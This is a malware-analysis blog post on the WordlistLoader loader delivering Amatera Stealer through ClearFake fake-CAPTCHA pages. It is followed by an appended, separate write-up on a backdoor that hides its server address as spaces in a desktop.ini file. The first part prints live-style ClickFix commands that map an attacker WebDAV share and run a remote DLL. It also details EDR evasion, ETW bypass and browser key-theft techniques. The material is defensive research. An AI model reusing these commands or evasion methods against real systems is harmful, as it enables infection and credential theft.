Author at Avast Engineering

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Researcher at Gen

Research

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake campaigns.
</li>
<li>
Amatera has been actively developed over the past few months and has gradually become one of the most prevalent infostealers in our user base.
</li>
<li>
In this technical blog post, we highlight the changes Amatera has introduced between version 4.0.2 Beta (documented by <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire</a>) and version 4.3.3-alpha1, the latest version at the time of writing.
</li>
<li>
Key changes include enhanced static obfuscation, hardened syscall invocation through the WoW64 transition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a redesigned Application-Bound Encryption bypass.
</li>
</ul>

<h2>Introduction</h2>
Over the past few months, Amatera Stealer (also often referred to as ACR Stealer) has been actively developed and has gradually become one of the most prevalent infostealer in our user base. Most recently, we've been observing Amatera being distributed via ClearFake campaigns leveraging FakeCaptchas.
Although FakeCaptcha, as a technique, is well-known and has been documented countless times, it has proven to be one of the most effective social engineering techniques for luring victims into infecting their own machines, which is why we still keep seeing it so often in malware campaigns, and why we proactively defend against these types of attacks with our <a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard protection</a>.
In the case of ClearFake campaings, FakeCaptchas are served through compromised, legitimate websites, via injected malicious JavaScripts that overlay a fake CAPTCHA verification on top of the real website. Once the visitor clicks on the "I'm not a robot" checkbox, they're walked through the well-known ClickFix flow, where a malicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run dialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of Amatera.

As for the aforementioned injected JavaScript, it is embedded in the webpage as a Base64-encoded blob. The blob contains obfuscated JavaScript whose purpose is to retrieve another JavaScript from a smart contract stored on a blockchain (a technique known as EtherHiding), and dynamically execute the retrieved code. Through several subsequent stages, the retrieved code performs additional checks and ultimately injects a fake CAPTCHA into the compromised webpage.

Since the whole chain of how the fake CAPTCHA reaches the webpage has already been documented by <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">Expel</a>, we do not cover it further here. Interested readers can refer to <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">their article</a>. Instead, we focus on what happens when the user executes the copied command.
The clipboard commands follow a consistent pattern: they use <code>conhost</code> to launch a hidden <code>cmd</code> process, map a remote WebDAV share using <code>pushd</code>, and finally invoke the <code>Run</code> export of the downloaded DLL (WordlistLoader) via <code>rundll32</code>.
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\kudbwiw\[.\]shop-nitrilean.com!s!\96fd1e29-81b3-4b81-9231-2c7e2f78ae48 &amp; r^undl^l32 gmwmvymdzgqgptwvbslq.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\nqhuew\[.\]shop-thyrafemmebalance.com!s!\34fe76b7-73a8-42f7-bfc0-089b5069cff7 &amp; ru^ndl^l32 azjsbxanuofzndqtmtlv.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\lldoxqa\[.\]shop-nitrilean.com!s!\df696b95-bdff-48c0-94da-68eb6598a012 &amp; r^undl^l32 dldwwqhuxbpvaqeyylar.dll,Run"</code>
This pattern closely resembles campaigns recently documented by <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/#campaign-1-webdav-based-clickfix-with-python-loaders-and-blockchain-c2">Microsoft</a>, suggesting an evolution of the distribution chain, with the operators using a similar delivery mechanism while replacing the Python-based loaders with WordlistLoader.

<h2>WordlistLoader</h2>
The primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a shellcode that serves as the entry point for subsequent stages. Before transferring control to the shellcode, WordlistLoader performs three preparatory actions, two of which serve as defense-evasion mechanisms:
<ul>
<li>
A single-instance check based on a named event
</li>
<li>
Unhooking of all loaded modules
</li>
<li>
An ETW bypass based on a hardware breakpoint and VEH
</li>
</ul>

<h3>Unhooking Loaded Modules</h3>
To determine whether a function is hooked, WordlistLoader enumerates loaded modules with <code>CreateToolhelp32Snapshot</code> using the <code>TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32</code> flags, skips those whose name contains <code>.exe</code>, and compares the first instruction of each named export with the corresponding instruction in a clean copy read from disk.

A function is considered hooked when its in-memory prologue begins with one of the following jump opcodes and the clean copy does not, or when both begin with a jump, but to a different target:
<ul>
<li><code>E9</code> (near relative jump)</li>
<li><code>EB</code> (short relative jump)</li>
<li><code>EA</code> (far absolute jump)</li>
<li><code>FF</code> (indirect jump, although only <code>FF 25</code>, i.e. <code>jmp dword ptr [addr]</code>, is handled correctly)</li>
</ul>
Before the opcode is read, a single legacy prefix (<code>0x2E</code>, <code>0x36</code>, <code>0x3E</code>, <code>0x64</code>, <code>0x65</code>, <code>0x66</code>, <code>0xF0</code>, or <code>0xF2</code>) is skipped on either side, so that a prefixed jump is not mistaken for untouched code. Additionally, if the in-memory prologue is not a jump but matches <code>4C 8B D1 E9</code>, i.e. an x64 syscall stub (a <code>mov r10, rcx</code> followed by a jump instruction), the comparison is shifted three bytes forward to start at the jump. Whenever a hook is detected, the loader computes the length of the offending jump and restores the original bytes from the clean copy.

Notably, the copy read from disk is never relocated, which is precisely why the loader checks for a jump instead of simply diffing the two prologues, as a mapped module legitimately differs from its on-disk copy wherever an absolute address appears. This is exactly the case with <code>FF 25</code> thunks, where WordlistLoader compares only the low 16 bits of the pointer, which the relocation delta cannot affect, as image bases are always aligned to 64 kB.

<h3>ETW Bypass</h3>
The second defense-evasion mechanism employed by WordlistLoader is a hardware-breakpoint-based ETW (Event Tracing for Windows) bypass, which comes down to setting a hardware breakpoint on <code>ntdll!NtTraceEvent</code> and registering a vectored exception handler. Every call to <code>NtTraceEvent</code> then raises an <code>EXCEPTION_SINGLE_STEP</code> exception, which the handler resolves by pointing the instruction pointer (<code>EIP</code>) at a stub that does nothing but return zero, and resuming execution there. Execution therefore never reaches the body of <code>NtTraceEvent</code>, so the event is never logged, and since the call still returns <code>STATUS_SUCCESS</code> (<code>0x00000000</code>), the caller has no indication anything went wrong.

<h3>Building the Shellcode</h3>
Finally, the loader proceeds to reconstruct the shellcode, which is stored in encoded form as a sequence of plain English words, with each word representing exactly one byte. The mapping from English words to byte values is defined by a build-specific wordlist of 256 distinct words: the word at index 0 decodes to <code>0x00</code>, the word at index 144 to <code>0x90</code>, and so on.
Both the wordlist and the encoded sequence are stored as arrays of pointers, so the loader matches addresses rather than the strings themselves. Rebuilding the shellcode thus comes down to iterating over the word sequence, looking up each word in the list, and writing the index of the matching entry into the output buffer. Once the entire sequence has been processed, the buffer contains the reconstructed shellcode. Hence the name WordlistLoader.

Notably, we also identified a modified version of WordlistLoader in which the wordlist is replaced with an array of UUIDs, while the loader's execution flow otherwise remains unchanged. Rather than encoding the shellcode one byte at a time, this variant represents it as a sequence of 16-byte UUID-encoded chunks. The loader reconstructs the shellcode by iterating over the array and passing each entry to <code>UuidFromStringA</code>, which converts the UUID into the corresponding 16 bytes of shellcode.

<h3>The Shellcode</h3>
The shellcode begins with a NOP sled, followed by an anti-emulation stub whose sole purpose, apart from burning time, is to repeatedly patch a single byte. Using the standard <code>call/pop</code> trick, the stub takes its own return address as the patching target and enters an outer loop of 254 rounds, with each iteration first executing an inner delay loop and then patching the target address (which is the same for every iteration). The value written decreases with every round, ultimately reaching <code>0x90</code> on the final iteration. As shown in Figure 11 below, the patched byte is part of a <code>call dword ptr [eax-0x6F6F6F70]</code> instruction, which corresponds to the <code>FF 90 90 90 90 90</code> opcodes. Therefore, overwriting the first byte with <code>0x90</code> turns the <code>call</code> instruction into a run of NOPs, allowing execution to fall through to the decryption stub that follows.
The stub's anti-emulation purpose is apparent from its runtime cost, as each of the 254 patches is preceded by the delay loop of 16,777,215 (<code>0xFFFFFF</code>) iterations that perform no meaningful computation.

Execution then proceeds to the decryption stub, which uses the same <code>call/pop</code> trick to obtain a pointer to the encrypted blob that follows. The blob consists of a sequence of 33-byte records, each comprising a one-byte XOR key followed by 32 encrypted bytes, together forming a next stage executed afterward. For each record, the stub XORs the 32 encrypted bytes with that record's key and writes them back into the same buffer, dropping the key bytes and repeating this cycle until it encounters a <code>0x11C311C3</code> marker terminating the stream.
Finally, execution is transferred to the decrypted code, which resolves <code>NtProtectVirtualMemory</code>, re-protects the region as <code>PAGE_EXECUTE</code> (dropping the write access needed for the in-place decryption), and hands control over to a reflective loader responsible for unpacking and loading Amatera.

Interestingly, the reflective loader is identical to the one <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire documented</a> several months ago, suggesting it might originate directly from the Amatera authors. As for WordlistLoader, we've only observed it delivering Amatera, which would point in the same direction, though we have no further evidence to support that claim.

<h2>Amatera 4.3.3-alpha1</h2>
Amatera was recently <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">documented by eSentire</a>, covering version 4.0.2 Beta. Since then, however, the stealer has remained under active development and has moved through several versions, with the latest one we have observed being 4.3.3-alpha1. In this section, we focus on the changes introduced between version 4.0.2 Beta and version 4.3.3-alpha1.
<h3>Static Obfuscation</h3>
First of all, Amatera has undergone several updates in terms of static obfuscation. The first major change was introduced in version 4.1.0-alpha.1, when Amatera began incorporating control-flow flattening and indirect control-flow obfuscation into its builds, roughly doubling the size of the resulting binaries.

Another notable change concerns API hashing. In version 4.0.2 Beta, all imports were resolved using a single hashing algorithm, so precomputing the hashes once was sufficient to annotate every call. In newer versions, the resolution is spread across dozens of nearly identical resolvers, each using its own multiply-rotate-XOR hash with different constants and operation order. Consequently, the same API name maps to a different hash value depending on which resolver handles the call. Hashes must therefore be precomputed separately for each resolver, slowing down the analysis.
Finally, as is quite typical for Amatera, it has revised its string obfuscation once again. Each string is now stored as a ciphertext blob, with its length and a numeric key index supplied at the decryption call site. For every byte, the key index and the byte's offset are mixed into a 64-bit state through four splitmix64-style rounds, producing four key bytes. The plaintext byte is then recovered as <code>ROR((ciphertext ^ key_3) - key_2, key_1) ^ key_0</code>.
Interestingly, the decryption routine also employs a deliberate stack modification aimed at thwarting decompilation. The modification occurs in a dead branch guarded by a flag that is never set anywhere in the binary. Should the branch ever be taken, it would subtract <code>0x7FFFFF00</code> from <code>ESP</code>, call a stub that does nothing but return zero, and add the same value back to <code>ESP</code>. Such a stack shift (of almost 2 GB) is nothing a regular compiler would ever emit, and is enough to break IDA's stack-frame reconstruction and make it refuse to decompile the function. For now, we have only observed this trick in a single function, but given the pace at which Amatera evolves, it would not be surprising to see it spread across the whole binary in the future.

<h3>Hardened Syscall Invocation Through the WoW64 Transition</h3>
First, it is appropriate to acknowledge <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">Stephen Eckels</a>, whose article <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques</a> explains the mechanisms discussed below in greater detail. Second, it is worth highlighting that Amatera is a 32-bit stealer, as that is what makes the techniques described below possible.
In a 32-bit process running on 64-bit Windows, every interaction with the operating system has to eventually end in the 64-bit kernel. From the process's point of view, however, everything has to look as if it were running on 32-bit Windows. That is where the WoW64 (Windows on Windows) layer comes into play, seamlessly translating WinAPI calls from 32-bit user space to the 64-bit operating system kernel. Simply put, the whole mechanism is built around the fact that the process runs with two ntdlls loaded side by side: the 32-bit one the application interacts with, which "forwards" the call to the WoW64 layer, and the 64-bit one, used once the call reaches 64-bit mode.
In practice, the application calls a function in the 32-bit ntdll, which passes control to <code>ntdll!Wow64SystemServiceCall</code>. From there, the execution continues through <code>ntdll!Wow64Transition</code> and lands in <code>wow64cpu!KiFastSystemCall</code>, the stub through which the WoW64 layer leaves the 32-bit world. The transition is achieved by a far jump using the <code>0x33</code> selector, which switches the processor into 64-bit mode, where the WoW64 layer issues the actual syscall.
In an effort to be stealthier and evade user-mode hooks, Amatera skips the 32-bit ntdll part of that chain altogether, resolving the syscall numbers on its own and entering the WoW64 layer directly through <code>wow64cpu!KiFastSystemCall</code>. The transition itself is performed as an indirect call to <code>TEB-&gt;WOW32Reserved</code>, a field that conveniently holds the address of <code>wow64cpu!KiFastSystemCall</code>.
In version 4.0.2 Beta, Amatera had a dedicated stub for every syscall it wanted to invoke this way, each of them loading the masked SSN from a global, unmasking it with a XOR, and calling <code>TEB-&gt;WOW32Reserved</code> directly through the <code>call large dword ptr fs:0C0h</code> instruction. However, regular applications do not make direct calls to <code>TEB-&gt;WOW32Reserved</code>, making the sequence fairly noisy.

That is why, in newer versions, Amatera no longer invokes <code>TEB-&gt;WOW32Reserved</code> directly. Instead, it uses indirect calls routed through a global variable holding the same transition address. On top of that, most of the stubs have been padded with random junk instructions scattered between the remaining instructions, so that the stubs leave behind neither the <code>fs:0C0h</code> reference nor the uniform layout.

Moreover, the address of <code>wow64cpu!KiFastSystemCall</code> that is stored in that global variable is not retrieved by a simple read of <code>fs:[0xC0]</code>, but through a dedicated Heaven's Gate stub. Newer versions also check the resolved transition address before putting it to use, by verifying that it falls within the range of <code>wow64cpu.dll</code>, i.e. that the gate has not been redirected elsewhere (hooked).

<h3>x64 Syscall Trampolines Executed Through Heaven's Gate</h3>
Being a 32-bit process, however, also brings other challenges Amatera has to deal with, most notably when interacting with 64-bit browsers during the Application-Bound Encryption (ABE) bypass. Reaching into a 64-bit process requires working with 64-bit pointers, which do not fit through the WoW64 gate, and while the 32-bit ntdll exposes a handful of <code>NtWow64*</code> helpers for exactly that purpose (such as, for example, <code>NtWow64AllocateVirtualMemory64</code> or <code>NtWow64WriteVirtualMemory64</code>), they do not cover everything Amatera requires for its injection technique.
That is why Amatera employs Heaven's Gate, a technique that allows 64-bit code to be executed from within a 32-bit process on a 64-bit operating system (essentially, a manual version of the mode switch the WoW64 layer performs internally, naturally skipping the 32-bit ntdll layer as well). Heaven's Gate, as such, however, is nothing new in Amatera and has been there for quite some time already. What has changed is what the Gate leads to for a part of the calls Amatera makes through it.
In version 4.0.2 Beta, Amatera used Heaven's Gate to invoke 64-bit ntdll exported functions, passing the arguments according to the standard Microsoft x64 calling convention, with the execution therefore going through the export's prologue. However, just as AV and EDR products can hook exported functions in the 32-bit ntdll, they can hook the 64-bit ones as well. To avoid that, in newer versions, a fixed set of twelve syscalls (for example, <code>NtReadVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, <code>NtAllocateVirtualMemory</code>, <code>NtMapViewOfSection</code>, and <code>NtSetIoCompletion</code>) is set up to skip the export entirely, with Amatera resolving their syscall numbers on its own (and validating them against a pristine copy of ntdll read from disk) and issuing each call through an indirect x64 syscall trampoline built at runtime.
Each trampoline consists of a 24-byte stub containing <code>mov r10, rcx</code>, <code>mov eax, SSN</code>, and a RIP-relative indirect jump to a <code>syscall; ret</code> gadget inside ntdll (located by scanning the ntdll mapped in memory). To build and execute them, Amatera creates a section with <code>NtCreateSection</code> and maps it twice in its own process using <code>NtMapViewOfSection</code>: once with <code>RW</code> permissions for writing the stubs and once with <code>RX</code> permissions for running them.

<h3>Revamped Application-Bound Encryption Bypass</h3>
Up until recently, Amatera bypassed Application-Bound Encryption the same way most stealers do, i.e., by injecting a payload into the browser process and invoking <code>IElevator::DecryptData</code> through the COM interface to decrypt the <code>v20_master_key</code> directly from the browser's context.
Since version 4.1.0-alpha.1, however, the bypass has been revamped into an approach that closely resembles that of Remus/Lumma. In fact, the bypass is so alike that we believe Amatera's implementation was directly inspired by it. Therefore, as we have already covered the technique in <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">our previous blog post</a>, we will only do a quick recap of the bypass's main idea and focus solely on where Amatera's approach differs. For interested readers, we recommend revisiting our earlier post.
From a high-level perspective, the bypass relies on the fact that a running Chromium-based browser keeps the <code>v20_master_key</code> stored in memory. There, however, the key is protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag, which limits decryption to the process that encrypted the data. Therefore, the bypass comes down to locating the protected key and injecting a payload that decrypts it using the complementary <code>CryptUnprotectMemory</code> from within the browser's context.
To find the key, Amatera, just like Remus and Lumma, scans the browser's memory for a 20-byte pattern, trying to find the <code>lea</code> instruction that loads the address of the <code>os_crypt_async::Encryptor</code> vftable, as that is the class holding the protected <code>v20_master_key</code>. On a match, it resolves the vftable address using the displacement of the <code>lea</code> instruction, and since a pointer to it sits at the very beginning of every instance of that class, a second scan of the browser's memory makes it possible to locate a live instance holding the key. From there, extracting the protected <code>v20_master_key</code> is just a matter of walking the object's tree of key entries and taking the one tagged <code>v20</code>.
The clearest evidence of the shared origin, however, is the signature itself. Amatera builds the pattern as <code>48 8D 05 00 00 00 00 48 89 01 48 8B 02 48 89 41 00 48 8D 41</code> and pairs it with the wildcard mask <code>0xEFF87</code>, the very same mask Remus applies to <code>48 8D 05 8B CC 8D 02 48 89 01 48 8B 02 48 89 41 5B 48 8D 41</code>. Breaking it down, the only positions in which the two patterns differ are the four displacement bytes of the <code>lea</code> instruction and the displacement byte of the <code>mov</code> instruction. These are precisely the five bytes the mask excludes from the comparison, which Amatera leaves zeroed out, while Remus keeps the values from whichever <code>chrome.dll</code> build the pattern was lifted from. Everything else, the mask included, matches byte for byte.

Where Amatera's approach differs is in the size of the injected payload and the way it is injected into the browser. Remus and Lumma get by with less than a hundred bytes of shellcode as the payload has a single job: to call <code>CryptUnprotectMemory</code> on the memory pointing to the encrypted <code>v20_master_key</code> and copy it into a pre-allocated buffer. Amatera's payload is considerably larger (thousands of bytes), but it also does considerably more. Besides the logic for decrypting the key, the payload carries the entire logic for locating it, as well as the logic for recovering the legacy <code>v10_master_key</code>.
To get the payload into the browser, Amatera creates two sections and maps each twice, once locally and once in the browser. The first section holds the payload, mapped locally as <code>RW</code> and <code>RX</code> in the browser, whereas the second carries a configuration blob and the output area for the recovered keys, mapped as <code>RW</code> on both sides. The configuration blob holds the pointers to the native and crypto functions used by the payload, the path to the browser's <code>Local State</code>, the address of the encrypted <code>v20_master_key</code>, and the already mentioned ABE pattern with the mask should the payload need to locate the key again (by default, the key is located by the stealer itself, reading the browser's memory remotely, but the payload can repeat the search on its own as a fallback).
Finally, Amatera's approach differs in the way the payload is launched. Rather than creating a remote thread, Amatera hijacks the browser's thread pool, using the technique known as PoolParty variant 7 (Remote <code>TP_DIRECT</code> Insertion), <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">published by SafeBreach in 2023</a>. It enumerates the browser's handles with <code>NtQueryInformationProcess</code>, duplicates them with <code>NtDuplicateObject</code>, identifies the I/O completion port among them with <code>NtQueryObject</code>, and queues a <code>TP_DIRECT</code> work item on it with <code>NtSetIoCompletion</code>, leaving the execution to one of the browser's own worker threads. The work item itself is a 72-byte <code>TP_DIRECT</code> structure assembled by hand, with the callback placed at a hardcoded offset, and written into a small remote allocation. Once the work item is queued, the stealer polls the output section for a marker signaling that the payload has finished.

<h2>Summary</h2>
In this analysis, we dissected WordlistLoader, a new loader used to deliver Amatera through ClearFake campaigns. We covered the way it reconstructs shellcode from a wordlist of plain English words, the defense-evasion mechanisms it employs, and the shellcode itself that ultimately leads to the execution of Amatera.
We also covered the latest updates in Amatera, which has seen months of active development, with the effort showing most clearly in its defense evasion. Between versions 4.0.2 Beta and 4.3.3-alpha1, the stealer employed heavier static obfuscation, hardened the way it reaches the kernel through the WoW64 transition, introduced dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and revamped its Application-Bound Encryption bypass into one closely resembling that of Remus/Lumma.

<h2>Indicators of Compromise (IoCs)</h2>
<h3>Compromised Websites Observed Serving ClearFake's FakeCaptchas</h3>
abogadosrosarinos[.]com 
aptisweb[.]com 
avene-hebergement[.]com 
https-xhamster[.]com 
www[.]caesarjaco[.]co[.]id/jasa-pengiriman-hewan 
skybap[.]shop
<h3>WordlistLoader</h3>
eb883ff84700245a199dfbe120c3c2012b2dbf1ec97b26721fbda3ee7445c85a 
cd598cea811d8f73ca7afffa40e5963be9a82e01bad8ffcebb104b475c091faa 
84ffddad7e2eb1f476b857321b0cd54a7a283dbdb82bd3a13ea1b49862595d20 
124f2104ca9ee75a99aa998bb016c202f43b890d0173213846fa2495db7fa0d7 
9f3c2d1f150516edcdc274c3791f4e8301807b479ddf796fc019bc910054e3a1
9a2d02fa59501e1438f852250c4fdb24086d8a0184ece32240091f91515bbf7d (UUID variant) 
e37cc7f678aa800b805aefcc57ad86251cb7b89a044c43c72be9a77f36a88e57 (UUID variant) 
596f7b1edd97a4e114413b6668151cae3c8a5c7729208d5c2150e65f9ceca6d7 (UUID variant) 
5f5b7c131c852275123ad55028c5f87692f4b206591011a13da5b085dc4df8fd (UUID variant) 
25fdc2c589a7df6dc45798b1a4a97a6a1d62d12326151e4a9a9d50fea8111b29 (UUID variant)

<h3>Amatera</h3>
9a969110c055c3f48af75ce8d2b75c2e7b898a4519a700c7a0cd1fcbc993ecad (Amatera 4.3.3-alpha1) 
7b8c30af2ca566927fb91e08c33ebb92089e86afb70d74715e5c7d8de6f9ecfc (Amatera 4.3.3-alpha1) 
d9402b049738d4679cb46f09d2511b9ac8f6842ffed29560a7e96046a811e841 (Amatera 4.3.1-alpha1) 
54ba68040413b23128455952e4a698df112a163d0498ded6f77e863d15113133 (Amatera 4.2.4-alpha2) 
8672bc4c60a731f80a57deb564f9b78b1a91607a1b5c20c12767a8ab72b09b6a (Amatera 4.2.3-alpha1) 
42095fff1452418550440d5adff87a10e6d04a704fedf2b221f83b6a974a0d73 (Amatera 4.2.2-alpha1) 
38ad801509af109dcd12a56ac931b795e39a7fcd5cd43698cccb7e051298a683 (Amatera 4.2.1-alpha1) 
88f769cf7c88e3bbbd1b72d8124b9a4b39ba8fe3e80ff76d682493033c34a598 (Amatera 4.2.0-alpha3) 
c4390e74aecd06d3bb355af7f403de0655d28cdc54fa68b1596d91c2b3bb0e46 (Amatera 4.2.0-alpha2) 
ee394ed8118d22da6054ebec9434c4c7256af27e0cb479e17100e56f7b150b25 (Amatera 4.2.0-alpha1) 
90b7c9e9910c3512f4793b577a0b9025e8995cd67ee36e46f36b7b7b80b4d65f (Amatera 4.1.5-alpha) 
fee8d5964fcc23027685ee1124a19127ce58d4692c9df831bd1b900cdb86faeb (Amatera 4.1.4-alpha) 
147276f871a5a33a611a6ee112137f3aae136ea79fcbf07361cb7d0d26c87e4d (Amatera 4.1.1 Beta) 
2833fb725862866205b37619db050fbd84e6258682fa1d9485da0ae9257b9244 (Amatera 4.1.0-alpha.1)
Amatera C2s
health[.]luminexus[.]cc 
stream[.]luminfrastructure[.]cc 
stream[.]threatenbrick[.]cc 
yw[.]enhanceblabber[.]cc 
pmpo[.]cloudvector[.]cc 
dust[.]packetflow[.]cc 
updates[.]wildtrail[.]cc 
app-api[.]lensstory[.]cc 
proxy[.]fluxautomation[.]cc 
stream[.]pawpalace[.]cc 
dist[.]runtimeconsole[.]cc 
id[.]binaryharbor[.]cc 
wss[.]infrastructurecore[.]cc 
id[.]exhumepacifier[.]cc
Amatera Dead Drops
telegra[.]ph/Executing-modules-as-scripts-06-16 
telegra[.]ph/Using-Python-as-a-Calculator-06-05 
telegra[.]ph/Jack-Little-04-18 
telegra[.]ph/Parameters-04-03 
telegra[.]ph/Jewel-03-06 
telegra[.]ph/Catnap-Skimmed-03-06

 New Loader Hiding Shellcode in Plain English Words

 WordlistLoader Delivering Amatera via ClearFake Campaigns 

Senior Malware Researcher

We found a custom Windows backdoor on a single corporate workstation while hunting for unusual WMI persistence. The malware was small, had a limited command set and disguised itself as legitimate Realtek software. Its most unusual feature was its configuration: the address of its command-and-control server was not stored as readable text or encrypted data, but encoded in the number of spaces on each line of a Windows `desktop.ini` file. To a user, and to many automated inspection systems, the file would appear almost empty. To the malware, those spaces spelled out its server address. We found no evidence connecting the backdoor to a known threat actor, and the original infection happened before our protection was installed. However, the implant's custom design, its deployment on only one observed machine and the absence of related samples suggest that this may have been a deliberately targeted operation rather than a failed mass campaign.

<h2>An event subscription named "Realtek"</h2>
Most malicious WMI subscriptions are easy to spot because the query asks for something no administrator would. This one asked for something an administrator plausibly might, at a very specific time.
Our behavioural engine dumped the subscription it objected to. This is our own export of the WMI objects rather than a file the attacker left on disk, with the host name redacted:

A filter watching <code>Win32_LocalTime</code> for hour 19, minute 50 is a restart timer, not a boot hook. The subscription itself lives in the WMI repository and survives reboots; what it does not do is start anything at boot, so a machine restarted in the morning stays quiet until the evening.
<code>RtkNGUI64.exe</code> is the real name of Realtek's audio control panel, and the consumer's command line writes the path in 8.3 short form, <code>Progra~1</code> rather than <code>Program Files</code>.

<h2>Why one machine is the interesting part</h2>
Everything in this post came from a single host: a domain-joined Windows 7 SP1 workstation, 64-bit. One managed endpoint, and our prevalence figure for the binary is exactly one.
That number is easy to misread, because low prevalence usually means a campaign that failed. Low prevalence should not mean low investigative priority: a threat sitting on one machine can matter more than one sitting on a hundred thousand, and a triage queue sorted by prevalence will show it to you last, if it shows it to you at all. The grounds for reading this one the other way need no victim detail at all.
The implant is custom-built: twelve kilobytes, no runtime library, and a config format that appears nowhere else in our corpus. None of the artefacts have ever been uploaded to VirusTotal in more than five years. We also searched VirusTotal by content for the fragments that would betray a sibling, including the <code>c%s%se /c %s</code> format string, the <code>a=%s&amp;r=none</code> beacon body, <code>/version/check.php</code> inside Windows executables, and a stock UTF-16 <code>desktop.ini</code> header followed by runs of spaces. All four returned nothing. Two looser patterns, the table its checksum routine uses to rebuild a polynomial and a bare run of UTF-16 spaces, matched unrelated files and tell us nothing either way.
The domain also typosquats a Windows service, which is a choice made by someone who knew what <code>DiagTrack</code> was rather than the output of a generation algorithm, whatever VirusTotal's <code>dga</code> tag suggests.
A commodity loader that only ever lands on one machine is broken. A hand-written implant that only ever lands on one machine may be working exactly as intended.
We will not push the assessment further than that. We never captured a task and never saw a second-stage payload, and we cannot tell you how the machine was reached, for a reason the timeline further down makes plain: the implant was already in place before our software arrived. Whatever the initial vector was, it happened on an endpoint nobody was watching. We name no actor and no campaign.

<h2>What RtkNGUI64.exe actually is</h2>
The binary is a 12,288-byte x64 executable with no C runtime, no packer, and an entry point that goes straight into the main loop. It imports 48 functions by name across <code>KERNEL32</code>, <code>WININET</code>, <code>WS2_32</code>, <code>IPHLPAPI</code>, <code>SHLWAPI</code> and <code>ADVAPI32</code>, and that is the whole dependency list. <code>msvcrt.dll</code> is not on it, and leaving it out took deliberate work. The appendix has the substitutions the author wrote around it, the compiler they used, and the day they built it.
There is no encrypted blob, no import hashing and no anti-debug. The engineering worth looking at is all in where the thing keeps its configuration.

<h2>The config is a desktop.ini full of spaces</h2>
On startup the backdoor assembles a path from the <code>PROGRAMDATA</code> environment variable and two string fragments, opens the result with <code>OPEN_ALWAYS</code>, and checks that there is something past the header to read:
<pre><code>GetEnvironmentVariableA("PROGRAMDATA", ini_name, 0x40u); lstrcatA(ini_name, "\DESKTOP."); // first half of the filename

// ... bot ID, mutex, heap and pipe setup: sixteen lines ...

lstrcatA(ini_name, "ini"); // second half, appended much later

hFile = CreateFileA(ini_name, GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // both the subtraction and the comparison are unsigned (jbe, not jle) if ( hFile == INVALID_HANDLE_VALUE || (payload_size = GetFileSize(hFile, 0) - 174) &lt;= 0x31 ) ExitProcess(0);

</code></pre>
The filename arrives in two pieces, and not adjacent ones: sixteen lines of unrelated setup sit between the two <code>lstrcatA</code> calls. <code>\DESKTOP.</code> and <code>ini</code> are stored as separate literals in <code>.rdata</code>, so the string <code>desktop.ini</code> appears nowhere in the file. Grep the binary for it and you get nothing.
The size check is looser than it looks. The subtraction and the comparison are both unsigned — <code>jbe</code> in the disassembly — so it rejects only files of 174 to 223 bytes. <code>OPEN_ALWAYS</code> means a host with no config gets an empty <code>desktop.ini</code> created for it, <code>0 - 174</code> wraps to <code>0xFFFFFF52</code>, the guard passes, and the code asks the process heap for four gigabytes of zeroed memory. Nothing checks the result: on any machine that cannot satisfy that, the counting loop dereferences a null pointer. So on a host the operator never staged, the implant creates a zero-byte <code>C:\ProgramData\desktop.ini</code> and crashes on the spot.
Then it seeks to byte 174 and counts:
<pre><code>SetFilePointer(hFile, 174, 0, FILE_BEGIN); // skip the stock Windows header ReadFile(hFile, payload, payload_size, &amp;bytes_read, 0);

line = 0; i = 0; do { if ( payload[i] == 13 ) // CR: next line, skip the LF { ++line; i += 2; } else { ++line_lengths[line]; // count one character on this line } i += 2; // stride 2: the file is UTF-16LE } while ( i &lt; payload_size );

lstrcpyA(g_server, line_lengths); // the counts are the string lstrcatA(g_server, ".com");

</code></pre>
There is no key and no decryption. <code>line_lengths</code> is an array of bytes holding one count per line, and the last two statements hand that array to <code>lstrcpyA</code> as though it were a string. The number of characters on a line is the ASCII code of one character of the domain. This is unary encoding, the tally-marks of data formats.
The stride of 2 is there because the file is UTF-16LE, and the offset of 174 is not arbitrary: it is the exact byte length of a stock Windows <code>desktop.ini</code>, from the byte-order mark through a blank line, the <code>[.ShellClassInfo]</code> section header, <code>LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781</code> and its closing CRLF. The attacker invented no file format. They took the real Windows file that gives the Program Files folder its localised display name and appended to it.
In an editor it looks like an ordinary system file with some trailing whitespace. Typed out as UTF-16LE strings, it is thirteen lines: the three-line stock header, then ten lines containing nothing else.

